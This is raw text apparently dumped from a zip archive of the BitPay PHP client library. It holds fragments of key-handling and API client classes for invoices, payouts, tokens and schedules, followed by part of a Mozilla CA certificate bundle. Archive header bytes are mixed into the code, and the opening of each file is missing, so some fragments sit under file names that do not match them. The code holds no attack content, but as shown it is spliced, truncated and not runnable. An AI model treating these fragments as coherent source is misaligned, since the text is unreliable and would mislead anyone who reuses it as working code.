$this->hex = sprintf('%s%s', $RxHex, $RyHex); $this->dec = Util::decodeHex($this->hex); return $this; } /** * Checks to see if the public key is not blank and contains * valid decimal and hex valules for this->hex & this->dec * * @return boolean */ public function isValid() { return ((!empty($this->hex) && ctype_xdigit($this->hex)) && (!empty($this->dec) && ctype_digit($this->dec))); } /** * @return SinKey */ public function getSin() { if (empty($this->hex)) { $this->generate(); } if (null === $this->sin) { $this->sin = new SinKey(); $this->sin->setPublicKey($this); $this->sin->generate(); } return $this->sin; } } PK\(w<payment/bitpay/Bitpay/Buyer.phpnu[storage = $storage; } /** * @param KeyInterface $key */ public function persist(KeyInterface $key) { $this->storage->persist($key); } /** * @return KeyInterface */ public function load($id) { return $this->storage->load($id); } } PK\SLpayment/bitpay/Bitpay/Key.phpnu[id = $id; } /** * @return string */ public function getId() { return $this->id; } /** * Returns a new instance of self. * * @param string $id * @return \Bitpay\KeyInterface */ public static function create($id = null) { $class = get_called_class(); return new $class($id); } /** * @return string */ public function getHex() { return $this->hex; } /** * @return string */ public function getDec() { return $this->dec; } /** * @inheritdoc */ public function serialize() { return serialize( array( $this->id, $this->x, $this->y, $this->hex, $this->dec, ) ); } /** * @inheritdoc */ public function unserialize($data) { list( $this->id, $this->x, $this->y, $this->hex, $this->dec ) = unserialize($data); } /** * @return boolean */ public function isGenerated() { return (!empty($this->hex)); } } PK\:a+payment/bitpay/Bitpay/ScheduleInterface.phpnu[invoiceLog = $invoiceLog; } /** * The network is either livenet or testnet and tells the client where to * send the requests. * * @param NetworkInterface */ public function setNetwork(NetworkInterface $network) { $this->network = $network; } /** * Set the Public Key to use to help identify who you are to BitPay. Please * note that you must first pair your keys and get a token in return to use. * * @param PublicKey $key */ public function setPublicKey(PublicKey $key) { $this->publicKey = $key; } /** * Set the Private Key to use, this is used when signing request strings * * @param PrivateKey $key */ public function setPrivateKey(PrivateKey $key) { $this->privateKey = $key; } /** * @param AdapterInterface $adapter */ public function setAdapter(AdapterInterface $adapter) { $this->adapter = $adapter; } /** * @param TokenInterface $token * @return ClientInterface */ public function setToken(TokenInterface $token) { $this->token = $token; return $this; } /** * @inheritdoc */ public function createInvoice(InvoiceInterface $invoice) { $request = $this->createNewRequest(); $request->setMethod(Request::METHOD_POST); $request->setPath('invoices'); $currency = $invoice->getCurrency(); $item = $invoice->getItem(); $buyer = $invoice->getBuyer(); $buyerAddress = $buyer->getAddress(); $this->checkPriceAndCurrency($item->getPrice(), $currency->getCode()); $body = array( 'price' => $item->getPrice(), 'currency' => $currency->getCode(), 'posData' => $invoice->getPosData(), 'notificationURL' => $invoice->getNotificationUrl(), 'transactionSpeed' => $invoice->getTransactionSpeed(), 'fullNotifications' => $invoice->isFullNotifications(), 'notificationEmail' => $invoice->getNotificationEmail(), 'redirectURL' => $invoice->getRedirectUrl(), 'orderID' => $invoice->getOrderId(), 'itemDesc' => $item->getDescription(), 'itemCode' => $item->getCode(), 'physical' => $item->isPhysical(), 'buyerName' => trim(sprintf('%s %s', $buyer->getFirstName(), $buyer->getLastName())), 'buyerAddress1' => isset($buyerAddress[0]) ? $buyerAddress[0] : '', 'buyerAddress2' => isset($buyerAddress[1]) ? $buyerAddress[1] : '', 'buyerCity' => $buyer->getCity(), 'buyerState' => $buyer->getState(), 'buyerZip' => $buyer->getZip(), 'buyerCountry' => $buyer->getCountry(), 'buyerEmail' => $buyer->getEmail(), 'buyerPhone' => $buyer->getPhone(), 'guid' => Util::guid(), 'nonce' => Util::nonce(), 'token' => $this->token->getToken(), ); $request->setBody(json_encode($body)); $this->addIdentityHeader($request); $this->addSignatureHeader($request); $this->request = $request; $this->response = $this->sendRequest($request); $body = json_decode($this->response->getBody(), true); $error_message = false; $error_message = (!empty($body['error'])) ? $body['error'] : $error_message; $error_message = (!empty($body['errors'])) ? $body['errors'] : $error_message; $error_message = (is_array($error_message)) ? implode("\n", $error_message) : $error_message; if (false !== $error_message) { throw new \Exception($error_message); } $data = $body['data']; $invoiceToken = new \Bitpay\Token(); $invoice ->setToken($invoiceToken->setToken($data['token'])) ->setId($data['id']) ->setUrl($data['url']) ->setStatus($data['status']) ->setBtcPrice($data['btcPrice']) ->setPrice($data['price']) ->setInvoiceTime($data['invoiceTime']) ->setExpirationTime($data['expirationTime']) ->setCurrentTime($data['currentTime']) ->setBtcPaid($data['btcPaid']) ->setRate($data['rate']) ->setExceptionStatus($data['exceptionStatus']); return $invoice; } /** * @inheritdoc */ public function getCurrencies() { $this->request = $this->createNewRequest(); $this->request->setMethod(Request::METHOD_GET); $this->request->setPath('currencies'); $this->response = $this->sendRequest($this->request); $body = json_decode($this->response->getBody(), true); if (empty($body['data'])) { throw new \Exception('Error with request: no data returned'); } $currencies = $body['data']; array_walk($currencies, function (&$value, $key) { $currency = new \Bitpay\Currency(); $currency ->setCode($value['code']) ->setSymbol($value['symbol']) ->setPrecision($value['precision']) ->setExchangePctFee($value['exchangePctFee']) ->setPayoutEnabled($value['payoutEnabled']) ->setName($value['name']) ->setPluralName($value['plural']) ->setAlts($value['alts']) ->setPayoutFields($value['payoutFields']); $value = $currency; }); return $currencies; } /** * @inheritdoc */ public function createPayout(PayoutInterface $payout) { $request = $this->createNewRequest(); $request->setMethod($request::METHOD_POST); $request->setPath('payouts'); $amount = $payout->getAmount(); $currency = $payout->getCurrency(); $effectiveDate = $payout->getEffectiveDate(); $token = $payout->getToken(); $body = array( 'token' => $token->getToken(), 'amount' => $amount, 'currency' => $currency->getCode(), 'instructions' => array(), 'effectiveDate' => $effectiveDate, 'pricingMethod' => $payout->getPricingMethod(), 'guid' => Util::guid(), 'nonce' => Util::nonce() ); // Optional foreach (array('reference','notificationURL','notificationEmail') as $value) { $function = 'get' . ucfirst($value); if ($payout->$function() != null) { $body[$value] = $payout->$function(); } } // Add instructions foreach ($payout->getInstructions() as $instruction) { $body['instructions'][] = array( 'label' => $instruction->getLabel(), 'address' => $instruction->getAddress(), 'amount' => $instruction->getAmount() ); } $request->setBody(json_encode($body)); $this->addIdentityHeader($request); $this->addSignatureHeader($request); $this->request = $request; $this->response = $this->sendRequest($request); $body = json_decode($this->response->getBody(), true); $error_message = false; $error_message = (!empty($body['error'])) ? $body['error'] : $error_message; $error_message = (!empty($body['errors'])) ? $body['errors'] : $error_message; $error_message = (is_array($error_message)) ? implode("\n", $error_message) : $error_message; if (false !== $error_message) { throw new \Exception($error_message); } $data = $body['data']; $payout ->setId($data['id']) ->setAccountId($data['account']) ->setResponseToken($data['token']) ->setStatus($data['status']); foreach ($data['instructions'] as $c => $instruction) { $payout->updateInstruction($c, 'setId', $instruction['id']); } return $payout; } /** * @inheritdoc */ public function getPayouts($status = null) { $request = $this->createNewRequest(); $request->setMethod(Request::METHOD_GET); $path = 'payouts?token=' . $this->token->getToken() . (($status == null) ? '' : '&status=' . $status); $request->setPath($path); $this->addIdentityHeader($request); $this->addSignatureHeader($request); $this->request = $request; $this->response = $this->sendRequest($this->request); $body = json_decode($this->response->getBody(), true); $error_message = false; $error_message = (!empty($body['error'])) ? $body['error'] : $error_message; $error_message = (!empty($body['errors'])) ? $body['errors'] : $error_message; $error_message = (is_array($error_message)) ? implode("\n", $error_message) : $error_message; if (false !== $error_message) { throw new \Exception($error_message); } $payouts = array(); array_walk($body['data'], function ($value, $key) use (&$payouts) { $payout = new \Bitpay\Payout(); $payout ->setId($value['id']) ->setAccountId($value['account']) ->setCurrency(new \Bitpay\Currency($value['currency'])) ->setEffectiveDate($value['effectiveDate']) ->setRequestdate($value['requestDate']) ->setPricingMethod($value['pricingMethod']) ->setStatus($value['status']) ->setAmount($value['amount']) ->setResponseToken($value['token']) ->setRate(@$value['rate']) ->setBtcAmount(@$value['btc']) ->setReference(@$value['reference']) ->setNotificationURL(@$value['notificationURL']) ->setNotificationEmail(@$value['notificationEmail']); array_walk($value['instructions'], function ($value, $key) use (&$payout) { $instruction = new \Bitpay\PayoutInstruction(); $instruction ->setId($value['id']) ->setLabel($value['label']) ->setAddress($value['address']) ->setAmount($value['amount']) ->setStatus($value['status']); array_walk($value['transactions'], function ($value, $key) use (&$instruction) { $transaction = new \Bitpay\PayoutTransaction(); $transaction ->setTransactionId($value['txid']) ->setAmount($value['amount']) ->setDate($value['date']); $instruction->addTransaction($transaction); }); $payout->addInstruction($instruction); }); $payouts[] = $payout; }); return $payouts; } /** * @inheritdoc */ public function deletePayout(PayoutInterface $payout) { $request = $this->createNewRequest(); $request->setMethod(Request::METHOD_DELETE); $request->setPath(sprintf('payouts/%s?token=%s', $payout->getId(), $payout->getResponseToken())); $this->addIdentityHeader($request); $this->addSignatureHeader($request); $this->request = $request; $this->response = $this->sendRequest($this->request); $body = json_decode($this->response->getBody(), true); if (empty($body['data'])) { throw new \Exception('Error with request: no data returned'); } $data = $body['data']; $payout->setStatus($data['status']); return $payout; } /** * @inheritdoc */ public function getPayout($payoutId) { $request = $this->createNewRequest(); $request->setMethod(Request::METHOD_GET); $request->setPath(sprintf('payouts/%s?token=%s', $payoutId, $this->token->getToken())); $this->addIdentityHeader($request); $this->addSignatureHeader($request); $this->request = $request; $this->response = $this->sendRequest($this->request); $body = json_decode($this->response->getBody(), true); if (empty($body['data'])) { throw new \Exception('Error with request: no data returned'); } $data = $body['data']; $payout = new \Bitpay\Payout(); $payout ->setId($data['id']) ->setAccountId($data['account']) ->setStatus($data['status']) ->setCurrency(new \Bitpay\Currency($data['currency'])) ->setRate(@$data['rate']) ->setAmount($data['amount']) ->setBtcAmount(@$data['btc']) ->setPricingMethod(@$data['pricingMethod']) ->setReference(@$data['reference']) ->setNotificationEmail(@$data['notificationEmail']) ->setNotificationUrl(@$data['notificationURL']) ->setRequestDate($data['requestDate']) ->setEffectiveDate($data['effectiveDate']) ->setResponseToken($data['token']); array_walk($data['instructions'], function ($value, $key) use (&$payout) { $instruction = new \Bitpay\PayoutInstruction(); $instruction ->setId($value['id']) ->setLabel($value['label']) ->setAddress($value['address']) ->setStatus($value['status']) ->setAmount($value['amount']) ->setBtc($value['btc']); array_walk($value['transactions'], function ($value, $key) use (&$instruction) { $transaction = new \Bitpay\PayoutTransaction(); $transaction ->setTransactionId($value['txid']) ->setAmount($value['amount']) ->setDate($value['date']); $instruction->addTransaction($transaction); }); $payout->addInstruction($instruction); }); return $payout; } /** * @inheritdoc */ public function getTokens() { $request = $this->createNewRequest(); $request->setMethod(Request::METHOD_GET); $request->setPath('tokens'); $this->addIdentityHeader($request); $this->addSignatureHeader($request); $this->request = $request; $this->response = $this->sendRequest($this->request); $body = json_decode($this->response->getBody(), true); if (empty($body['data'])) { throw new \Exception('Error with request: no data returned'); } $tokens = array(); array_walk($body['data'], function ($value, $key) use (&$tokens) { $key = current(array_keys($value)); $value = current(array_values($value)); $token = new \Bitpay\Token(); $token ->setFacade($key) ->setToken($value); $tokens[$token->getFacade()] = $token; }); return $tokens; } /** * @inheritdoc */ public function createToken(array $payload = array()) { if (isset($payload['pairingCode']) && 1 !== preg_match('/^[a-zA-Z0-9]{7}$/', $payload['pairingCode'])) { throw new ArgumentException("pairing code is not legal"); } $this->request = $this->createNewRequest(); $this->request->setMethod(Request::METHOD_POST); $this->request->setPath('tokens'); $payload['guid'] = Util::guid(); $this->request->setBody(json_encode($payload)); $this->response = $this->sendRequest($this->request); $body = json_decode($this->response->getBody(), true); if (isset($body['error'])) { throw new \Bitpay\Client\BitpayException($this->response->getStatusCode().": ".$body['error']); } $tkn = $body['data'][0]; $createdAt = new \DateTime(); $pairingExpiration = new \DateTime(); $token = new \Bitpay\Token(); $token ->setPolicies($tkn['policies']) ->setToken($tkn['token']) ->setFacade($tkn['facade']) ->setCreatedAt($createdAt->setTimestamp(floor($tkn['dateCreated']/1000))); if (isset($tkn['resource'])) { $token->setResource($tkn['resource']); } if (isset($tkn['pairingCode'])) { $token->setPairingCode($tkn['pairingCode']); $token->setPairingExpiration($pairingExpiration->setTimestamp(floor($tkn['pairingExpiration']/1000))); } return $token; } /** * Returns the Response object that BitPay returned from the request that * was sent * * @return ResponseInterface */ public function getResponse() { return $this->response; } /** * Returns the request object that was sent to BitPay * * @return RequestInterface */ public function getRequest() { return $this->request; } /** * @inheritdoc */ public function getInvoice($invoiceId) { $this->request = $this->createNewRequest(); $this->request->setMethod(Request::METHOD_GET); if ($this->token->getFacade() === 'merchant') { $this->request->setPath(sprintf('invoices/%s?token=%s', $invoiceId, $this->token->getToken())); $this->addIdentityHeader($this->request); $this->addSignatureHeader($this->request); } else { $this->request->setPath(sprintf('invoices/%s', $invoiceId)); } $this->response = $this->sendRequest($this->request); $body = json_decode($this->response->getBody(), true); if (isset($body['error'])) { throw new \Exception($body['error']); } $data = $body['data']; $invoice = new \Bitpay\Invoice(); $invoiceToken = new \Bitpay\Token(); $invoice ->setToken($invoiceToken->setToken($data['token'])) ->setUrl($data['url']) ->setPosData($data['posData']) ->setStatus($data['status']) ->setBtcPrice($data['btcPrice']) ->setPrice($data['price']) ->setCurrency(new \Bitpay\Currency($data['currency'])) ->setOrderId($data['orderId']) ->setInvoiceTime($data['invoiceTime']) ->setExpirationTime($data['expirationTime']) ->setCurrentTime($data['currentTime']) ->setId($data['id']) ->setBtcPaid($data['btcPaid']) ->setRate($data['rate']) ->setExceptionStatus($data['exceptionStatus']); return $invoice; } /** * @param RequestInterface $request * @return ResponseInterface */ public function sendRequest(RequestInterface $request) { if (null === $this->adapter) { // Uses the default adapter $this->adapter = new \Bitpay\Client\Adapter\CurlAdapter(); } if($this->invoiceLog) $this->invoiceLog->add($request); $response = $this->adapter->sendRequest($request); if($this->invoiceLog) $this->invoiceLog->add($response); return $response; } /** * @param RequestInterface $request */ protected function addIdentityHeader(RequestInterface $request) { if (null === $this->publicKey) { throw new \Exception('Please set your Public Key.'); } $request->setHeader('x-identity', (string) $this->publicKey); } /** * @param RequestInterface $request */ protected function addSignatureHeader(RequestInterface $request) { if (null === $this->privateKey) { throw new \Exception('Please set your Private Key'); } if (true == property_exists($this->network, 'isPortRequiredInUrl')) { if ($this->network->isPortRequiredInUrl === true) { $url = $request->getUriWithPort(); } else { $url = $request->getUri(); } } else { $url = $request->getUri(); } $message = sprintf( '%s%s', $url, $request->getBody() ); $signature = $this->privateKey->sign($message); $request->setHeader('x-signature', $signature); } /** * @return RequestInterface */ protected function createNewRequest() { $request = new Request(); $request->setHost($this->network->getApiHost()); $request->setPort($this->network->getApiPort()); $this->prepareRequestHeaders($request); return $request; } /** * Prepares the request object by adding additional headers * * @param RequestInterface $request */ protected function prepareRequestHeaders(RequestInterface $request) { // @see http://en.wikipedia.org/wiki/User_agent $request->setHeader( 'User-Agent', sprintf('%s/%s (PHP %s)', self::NAME, self::VERSION, phpversion()) ); $request->setHeader('X-BitPay-Plugin-Info', sprintf('%s/%s', self::NAME, self::VERSION)); $request->setHeader('Content-Type', 'application/json'); $request->setHeader('X-Accept-Version', '2.0.0'); } protected function checkPriceAndCurrency($price, $currency) { $decimalPosition = strpos($price, '.'); if ($decimalPosition == 0) { $decimalPrecision = 0; } else { $decimalPrecision = strlen(substr($price, $decimalPosition + 1)); } if (($decimalPrecision > 2 && $currency != 'BTC') || $decimalPrecision > 6) { throw new \Exception('Incorrect price format or currency type.'); } } public function createSchedule(\Bitpay\ScheduleInterface $schedule) { $request = $this->createNewRequest(); $request->setMethod(Request::METHOD_POST); $request->setPath('subscriptions'); $schedule->token = $this->token->getToken(); $bodyIn = array( 'schedule' => $schedule->getSchedule(), 'token' => $this->token->getToken(), 'billData' => $schedule->getBillData() ); $request->setBody(json_encode($bodyIn)); $this->request = $request; $this->addIdentityHeader($request); $this->addSignatureHeader($request); $this->response = $this->sendRequest($request); $body = json_decode($this->response->getBody(), true); $error_message = false; $error_message = (!empty($body['error'])) ? $body['error'] : $error_message; $error_message = (!empty($body['errors'])) ? $body['errors'] : $error_message; $error_message = (is_array($error_message)) ? implode("\n", $error_message) : $error_message; if (false !== $error_message) { throw new \Exception($error_message); } return $schedule; } } PK\B,,2payment/bitpay/Bitpay/Client/Adapter/ca-bundle.crtnu[## ## Bundle of CA Root Certificates ## ## Certificate data from Mozilla downloaded on: Thu Sep 4 06:31:22 2014 ## ## This is a bundle of X.509 certificates of public Certificate Authorities ## (CA). These were automatically extracted from Mozilla's root certificates ## file (certdata.txt). This file can be found in the mozilla source tree: ## http://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/certdata.txt ## ## It contains the certificates in PEM format and therefore ## can be directly used with curl / libcurl / php_curl, or with ## an Apache+mod_ssl webserver for SSL client authentication. ## Just configure this file as the SSLCACertificateFile. ## ## Conversion done with mk-ca-bundle.pl verison 1.22. ## SHA1: c4540021427a6fa29e5f50db9f12d48c97d33889 ## GTE CyberTrust Global Root ========================== -----BEGIN CERTIFICATE----- MIICWjCCAcMCAgGlMA0GCSqGSIb3DQEBBAUAMHUxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9HVEUg Q29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNvbHV0aW9ucywgSW5jLjEjMCEG A1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJvb3QwHhcNOTgwODEzMDAyOTAwWhcNMTgwODEz MjM1OTAwWjB1MQswCQYDVQQGEwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQL Ex5HVEUgQ3liZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0 IEdsb2JhbCBSb290MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCVD6C28FCc6HrHiM3dFw4u sJTQGz0O9pTAipTHBsiQl8i4ZBp6fmw8U+E3KHNgf7KXUwefU/ltWJTSr41tiGeA5u2ylc9yMcql HHK6XALnZELn+aks1joNrI1CqiQBOeacPwGFVw1Yh0X404Wqk2kmhXBIgD8SFcd5tB8FLztimQID AQABMA0GCSqGSIb3DQEBBAUAA4GBAG3rGwnpXtlR22ciYaQqPEh346B8pt5zohQDhT37qw4wxYMW M4ETCJ57NE7fQMh017l93PR2VX2bY1QY6fDq81yx2YtCHrnAlU66+tXifPVoYb+O7AWXX1uw16OF NMQkpw0PlZPvy5TYnh+dXIVtx6quTx8itc2VrbqnzPmrC3p/ -----END CERTIFICATE----- Thawte Server CA ================ -----BEGIN CERTIFICATE----- MIIDEzCCAnygAwIBAgIBATANBgkqhkiG9w0BAQQFADCBxDELMAkGA1UEBhMCWkExFTATBgNVBAgT DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3Vs dGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcGA1UE AxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0ZS5j b20wHhcNOTYwODAxMDAwMDAwWhcNMjAxMjMxMjM1OTU5WjCBxDELMAkGA1UEBhMCWkExFTATBgNV BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29u c3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcG A1UEAxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0 ZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANOkUG7I/1Zr5s9dtuoMaHVHoqrC2oQl /Kj0R1HahbUgdJSGHg91yekIYfUGbTBuFRkC6VLAYttNmZ7iagxEOM3+vuNkCXDF/rFrKbYvScg7 1CcEJRCXL+eQbcAoQpnXTEPew/UhbVSfXcNY4cDk2VuwuNy0e982OsK1ZiIS1ocNAgMBAAGjEzAR MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEAB/pMaVz7lcxG7oWDTSEwjsrZqG9J GubaUeNgcGyEYRGhGshIPllDfU+VPaGLtwtimHp1it2ITk6eQNuozDJ0uW8NxuOzRAvZim+aKZuZ GCg70eNAKJpaPNW15yAbi8qkq43pUdniTCxZqdq5snUb9kLy78fyGPmJvKP/iiMucEc= -----END CERTIFICATE----- Thawte Premium Server CA ======================== -----BEGIN CERTIFICATE----- MIIDJzCCApCgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBzjELMAkGA1UEBhMCWkExFTATBgNVBAgT DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3Vs dGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UE AxMYVGhhd3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZl ckB0aGF3dGUuY29tMB4XDTk2MDgwMTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgc4xCzAJBgNVBAYT AlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEdMBsGA1UEChMU VGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2 aXNpb24xITAfBgNVBAMTGFRoYXd0ZSBQcmVtaXVtIFNlcnZlciBDQTEoMCYGCSqGSIb3DQEJARYZ cHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0jY2 aovXwlue2oFBYo847kkEVdbQ7xwblRZH7xhINTpS9CtqBo87L+pW46+GjZ4X9560ZXUCTe/LCaIh Udib0GfQug2SBhRz1JPLlyoAnFxODLz6FVL88kRu2hFKbgifLy3j+ao6hnO2RlNYyIkFvYMRuHM/ qgeN9EJN50CdHDcCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQQFAAOBgQAm SCwWwlj66BZ0DKqqX1Q/8tfJeGBeXm43YyJ3Nn6yF8Q0ufUIhfzJATj/Tb7yFkJD57taRvvBxhEf 8UqwKEbJw8RCfbz6q1lu1bdRiBHjpIUZa4JMpAwSremkrj/xw0llmozFyD4lt5SZu5IycQfwhl7t UCemDaYj+bvLpgcUQg== -----END CERTIFICATE----- Equifax Secure CA ================= -----BEGIN CERTIFICATE----- MIIDIDCCAomgAwIBAgIENd70zzANBgkqhkiG9w0BAQUFADBOMQswCQYDVQQGEwJVUzEQMA4GA1UE ChMHRXF1aWZheDEtMCsGA1UECxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5 MB4XDTk4MDgyMjE2NDE1MVoXDTE4MDgyMjE2NDE1MVowTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoT B0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTCB nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwV2xWGcIYu6gmi0fCG2RFGiYCh7+2gRvE4RiIcPR fM6fBeC4AfBONOziipUEZKzxa1NfBbPLZ4C/QgKO/t0BCezhABRP/PvwDN1Dulsr4R+AcJkVV5MW 8Q+XarfCaCMczE1ZMKxRHjuvK9buY0V7xdlfUNLjUA86iOe/FP3gx7kCAwEAAaOCAQkwggEFMHAG A1UdHwRpMGcwZaBjoGGkXzBdMQswCQYDVQQGEwJVUzEQMA4GA1UEChMHRXF1aWZheDEtMCsGA1UE CxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MQ0wCwYDVQQDEwRDUkwxMBoG A1UdEAQTMBGBDzIwMTgwODIyMTY0MTUxWjALBgNVHQ8EBAMCAQYwHwYDVR0jBBgwFoAUSOZo+SvS spXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFEjmaPkr0rKV10fYIyAQTzOYkJ/UMAwGA1UdEwQFMAMB Af8wGgYJKoZIhvZ9B0EABA0wCxsFVjMuMGMDAgbAMA0GCSqGSIb3DQEBBQUAA4GBAFjOKer89961 zgK5F7WF0bnj4JXMJTENAKaSbn+2kmOeUJXRmm/kEd5jhW6Y7qj/WsjTVbJmcVfewCHrPSqnI0kB BIZCe/zuf6IWUrVnZ9NA2zsmWLIodz2uFHdh1voqZiegDfqnc1zqcPGUIWVEX/r87yloqaKHee95 70+sB3c4 -----END CERTIFICATE----- Verisign Class 3 Public Primary Certification Authority - G2 ============================================================ -----BEGIN CERTIFICATE----- MIIDAjCCAmsCEH3Z/gfPqB63EHln+6eJNMYwDQYJKoZIhvcNAQEFBQAwgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMB4XDTk4MDUxODAwMDAwMFoXDTI4MDgwMTIzNTk1OVowgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMXtERXVxp0KvTuWpMmR9ZmDCO FoUgRm1HP9SFIIThbbP4pO0M8RcPO/mn+SXXwc+EY/J8Y8+iR/LGWzOOZEAEaMGAuWQcRXfH2G71 lSk8UOg013gfqLptQ5GVj0VXXn7F+8qkBOvqlzdUMG+7AUcyM83cV5tkaWH4mx0ciU9cZwIDAQAB MA0GCSqGSIb3DQEBBQUAA4GBAFFNzb5cy5gZnBWyATl4Lk0PZ3BwmcYQWpSkU01UbSuvDV1Ai2TT 1+7eVmGSX6bEHRBhNtMsJzzoKQm5EWR0zLVznxxIqbxhAe7iF6YM40AIOw7n60RzKprxaZLvcRTD Oaxxp5EJb+RxBrO6WVcmeQD2+A2iMzAo1KpYoJ2daZH9 -----END CERTIFICATE----- GlobalSign Root CA ================== -----BEGIN CERTIFICATE----- MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkGA1UEBhMCQkUx GTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkds b2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAwMDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNV BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYD VQQDExJHbG9iYWxTaWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDa DuaZjc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6sc THAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4bwY8iGlb Kk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVtbNV4FpWi6cgKOOvyJBNP c1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrX gzT/LCrBbBlDSgeF59N89iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0BAQUF AAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOzyj1hTdNGCbM+w6Dj Y1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE38NflNUVyRRBnMRddWQVDf9VMOyG j/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymPAbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhH hm4qxFYxldBniYUr+WymXUadDKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveC X4XSQRjbgbMEHMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A== -----END CERTIFICATE----- GlobalSign Root CA - R2 ======================= -----BEGIN CERTIFICATE----- MIIDujCCAqKgAwIBAgILBAAAAAABD4Ym5g0wDQYJKoZIhvcNAQEFBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh bFNpZ24wHhcNMDYxMjE1MDgwMDAwWhcNMjExMjE1MDgwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT 